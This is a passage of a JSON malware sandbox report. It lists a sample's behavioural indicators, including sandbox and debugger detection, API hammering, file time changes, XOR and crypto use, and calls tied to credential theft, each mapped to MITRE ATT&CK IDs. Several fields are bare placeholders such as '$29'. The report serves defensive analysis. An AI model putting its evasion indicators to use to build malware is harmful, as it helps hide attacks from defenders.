\"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"\" (Indicator: \"CallWindowProc\"; Source: \"00000000-00006300.00000000.98189.00800000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-320","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"RC2a\" (Indicator: \"RC2\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Found virtual disk drive like strings","description":"Found string - \\\\.\\DISPLAY%s; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found string - \\\\.\\LCD; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Loads the debugger/analysis tool module","description":"\"tasklist.exe\" loaded module \"%WINDIR%\\System32\\dbghelp.dll\" at C7C60000","origin":"Loaded Module","mitre_attack_id":"T1518.001","relevance":3,"id":"module-16","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$29","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2a","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"IsDebuggerPresent\" (Indicator: \"IsDebuggerPresent\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"QueryPerformanceCounter\" (Indicator: \"QueryPerformanceCounter\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (often used as anti-debugging trick)","description":"SetUnhandledExceptionFilter@KERNELBASE.DLL at 00000000-00004960-14840-7-00EAC840\n SetUnhandledExceptionFilter@KERNELBASE.DLL at 00000000-00004960-14840-10-00EAC5F5","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1622","relevance":1,"id":"stream-4","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Found strings in conjunction with a procedure lookup that resolve to a known API export symbol","description":"Found reference to API GetLargePageMinimum@KERNEL32.DLL at 00000000-00006000-21029-445-012296B0\n Found reference to API RtlGetVersion@NTDLL.DLL at 00000000-00006000-21029-1290-011A979E\n Found reference to API GlobalMemoryStatusEx@KERNEL32.DLL at 00000000-00006000-21029-1314-011AA196\n Found reference to API GetNativeSystemInfo@KERNEL32.DLL at 00000000-00006000-21029-1320-011AA31B\n Found reference to API RtlGetVersion@NTDLL.DLL at 00000000-00006000-21029-1337-011AAA6F","origin":"Hybrid Analysis Technology","relevance":10,"id":"stream-41","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$2b","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform encryption (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-108","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"Found reference to API \"CryptProtectMemory\" (Indicator: \"CryptProtectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CryptUnprotectMemory\" (Indicator: \"CryptUnprotectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CryptProtectMemory failed\" (Indicator: \"CryptProtectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CryptUnprotectMemory failed\" (Indicator: \"CryptUnprotectMemory\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.9742","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for crypto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains key cryptographic functions (API string)\n Matched sigs: Contains ability to perform encryption (API string)\n Matched sigs: Contains ability to perform AES/RC4 encryption (API string)\n Matched sigs: Able to access crypto-related API (String)\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Contains XOR operation loops [Stream disassembly]\n Matched sigs: YARA signature match - AES encryption\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)\n Matched sigs: YARA signature match – cryptographic algorithms","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Cryptographic Related","name":"XOR operations in executable file detected","description":"$2c","origin":"Binary File","mitre_attack_id":"T1027.005","id":"binary-92","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Able to enumerate system processes using native API","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; File: \"nircmd.exe\")\n Found reference to API \"ZwQuerySystemInformation\" (Indicator: \"ZwQuerySystemInformation\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")\n Found reference to API \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-907","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Able to find string content in a file","description":"Found string \"%WINDIR%\\System32\\findstr.exe\" (Source: \"00000000-00006604-00000BC0-497861345\")\n Found string \"%WINDIR%\\system32\\findstr.exe\" (Source: \"00000000-00006604-00000C47-270497209886\")\n Found string \"findstr /c:\"6.1.7601\"\" (Source: \"00000000-00006604-00000C47-270497209886\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-688","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify sandbox environment running process","description":"$2d","origin":"File/Memory","mitre_attack_id":"T1497","relevance":1,"id":"string-666","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using API string","description":"file/memory contains long string with (Indicator: \"NtQuerySystemInformation\"; File: \"nircmd.exe\")\n Found string \"NtQuerySystemInformation\" (Indicator: \"NtQuerySystemInformation\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.001","relevance":1,"id":"string-659","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found string \"GetCommandLineArgs\" (Indicator: \"GetCommandLine\"; File: \"00000000-00006300.00000000.98189.00972000.00000080.mdmp\")\n Found string \"GetCursorPos\" (Indicator: \"GetCursorPos\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found string \"GetCommandLineW\" (Indicator: \"GetCommandLine\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1497.002","relevance":1,"id":"string-661","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query security token membership for user discovery (API string)","description":"Found reference to API \"AllocateAndInitializeSid\" (Indicator: \"AllocateAndInitializeSid\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"FreeSid\" (Indicator: \"FreeSid\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"CheckTokenMembership\" (Indicator: \"CheckTokenMembership\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-908","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetLocaleInfoW\" (Indicator: \"GetLocaleInfo\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1614","relevance":1,"id":"string-201","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query volume/memory size (API string)","description":"$2e","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-193","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve date formats supported by the local system (API string)","description":"Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetDateFormatW\" (Indicator: \"GetDateFormat\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetTimeFormatW\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"GetTimeFormatA\" (Indicator: \"GetTimeFormat\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"GetDateFormatA\" (Indicator: \"GetDateFormat\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1124","relevance":1,"id":"string-901","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve geographical location information","description":"Found reference to API \"GetAddrInfoW\" (Indicator: \"getaddrinfo\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-739","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-89","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Able to visualize and control listed components (API string)","description":"$30","origin":"File/Memory","mitre_attack_id":"T1055.015","relevance":1,"id":"string-721","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00002668)\n \"7z.exe\" called \"GetTickCount\" with parameters (UID: 00000000-00006000)","origin":"API Call","mitre_attack_id":"T1497","relevance":3,"id":"api-296","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to call APIs to gather system and hardware detail","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"QueryPerformanceCounter\" (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"GetSystemMetrics\" with parameters (UID: 00000000-00002668)\n \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"EnumDisplayMonitors\" with parameters (UID: 00000000-00002668)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-294","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"NtQueryInformationToken\" with parameters (UID: 00000000-00002668)","origin":"API Call","mitre_attack_id":"T1003","relevance":3,"id":"api-297","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API possibly used to retrieve a handle to the foreground window","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"GetForegroundWindow\" (UID: 00000000-00002668)\n \"mika.exe\" called \"GetForegroundWindow\" (UID: 00000000-00006300)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-142","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to enumerate active windows","description":"\"nircmd.exe\" called \"EnumWindows\" with parameter \"11269136\" - (UID: 00000000-00007940)\n \"nircmd.exe\" called \"EnumWindows\" with parameter \"13368032\" - (UID: 00000000-00004692)","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-152","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get active windows title","description":"$31","origin":"API Call","mitre_attack_id":"T1010","relevance":3,"id":"api-151","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get product type","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"RtlGetNtProductType\" with parameter 01000000 (UID: 00000000-00002668)","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-124","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to get system version information","description":"$32","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-125","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve OS information","description":"$33","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-222","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve default language settings","description":"\"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\" called \"GetSystemDefaultLangID\" (UID: 00000000-00002668)","origin":"API Call","mitre_attack_id":"T1614.001","relevance":3,"id":"api-149","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Calls an API typically used to retrieve local language","description":"\"tasklist.exe\" called \"GetLocaleInfoW\" with parameter \"1024\" - (UID: 00000000-00001376)","origin":"API Call","mitre_attack_id":"T1614","relevance":3,"id":"api-147","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Collects OS version information","description":"Process \"cmd.exe\" with commandline \"/S /D /c\" ver \"\" (UID: 00000000-00003964)","origin":"Monitored Target","mitre_attack_id":"T1082","relevance":3,"id":"target-188","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to detect virtual environment (API)","description":"GetTickCount@KERNELBASE.DLL at 00000000-00004960-14840-166-00EACA53\n GlobalMemoryStatus@KERNEL32.DLL at 00000000-00006000-21029-1314-011AA196\n GetTickCount@KERNEL32.DLL at 00000000-00006000-21029-1382-011A6883\n GetTickCount@KERNEL32.DLL at 00000000-00006000-21029-1641-011B9509\n GetTickCount@KERNEL32.DLL at 00000000-00006000-21029-1642-011B95D9\n GetTickCount@KERNEL32.DLL at 00000000-00006000-21029-2181-011DD5B0","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497","relevance":3,"id":"stream-87","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to determine if process is running under WOW64 (API string)","description":"Found reference to API \"IsWow64Process\" (Indicator: \"IsWow64Process\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-450","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to enumerate files inside a directory","description":"FindNextFileW@KERNEL32.DLL at 00000000-00006000-21029-1239-011A6DCF","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1083","relevance":3,"id":"stream-89","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to execute a WMI query","description":"Found string \"SELECT * FROM Win32_OperatingSystem\" (Indicator: \"select * from \"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")","origin":"File/Memory","mitre_attack_id":"T1047","relevance":1,"id":"string-433","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to find open windows (API string)","description":"Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"FindWindowExW\" (Indicator: \"FindWindowExW\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"FindWindowA\" (Indicator: \"FindWindowA\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1010","relevance":1,"id":"string-413","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetLocalTime\" (Indicator: \"GetLocalTime\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; File: \"9c56898b035cdc2aaf781fb28688acfe64cf1d9738d3d57eb4547b75c5f99985.exe\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00001376.00000001.90767.17AC2000.00000002.mdmp\")\n Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004692.00000000.89330.40017000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00004960.00000000.88566.00EEE000.00000002.mdmp\")\n Found reference to API \"GetSystemTimeAsFileTime\" (Indicator: \"GetSystemTime\"; Source: \"00000000-00006000.00000000.97850.01251000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1029","relevance":1,"id":"string-365","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query local/system time as file time","description":"GetSystemTimeAsFileTime@KERNELBASE.DLL at 00000000-00004960-14840-166-00EACA53\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006000-21029-1277-011AB14C\n FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00006000-21029-1299-011A9BCF\n FileTimeToLocalFileTime@KERNEL32.DLL at 00000000-00006000-21029-1339-011AAF02","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1070.006","relevance":1,"id":"stream-71","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query machine time","description":"GetSystemTimeAsFileTime@KERNELBASE.DLL at 00000000-00004960-14840-166-00EACA53\n GetSystemTimeAsFileTime@KERNEL32.DLL at 00000000-00006000-21029-1277-011AB14C","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1124","relevance":1,"id":"stream-2","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query the machine version","description":"GetVersion@KERNEL32.DLL at 00000000-00006000-21029-55-01245AC0\n GetVersion@KERNEL32.DLL at 00000000-00006000-21029-58-01245B40\n GetVersion@KERNEL32.DLL at 00000000-00006000-21029-60-012459D0\n GetVersion@KERNEL32.DLL at 00000000-00006000-21029-80-01245B00\n GetVersion@KERNEL32.DLL at 00000000-00006000-21029-92-01245A80\n GetVersion@KERNEL32.DLL at 00000000-00006000-21029-120-01245950\n GetVersion@KERNEL32.DLL at 00000000-00006000-21029-128-01242BC0\n RtlGetVersion@NTDLL.DLL at 00000000-00006000-21029-1290-011A979E\n RtlGetVersion@NTDLL.DLL at 00000000-00006000-21029-1337-011AAA6F\n GetVersionExW@KERNEL32.DLL at 00000000-00006000-21029-2353-011DD202\n GetVersion@KERNEL32.DLL at 00000000-00006000-21029-3183-011DCF32","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1082","relevance":1,"id":"stream-3","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to query volume size","description":"GetDiskFreeSpaceExW@KERNEL32.DLL at 00000000-00006000-21029-1266-011A9674","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1497.001","relevance":3,"id":"stream-37","sources":[{"report_type":"sandbox","report_id":"69673bc12fb4422c7500f566"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to read software policies","description":"$34","origin":"Registry 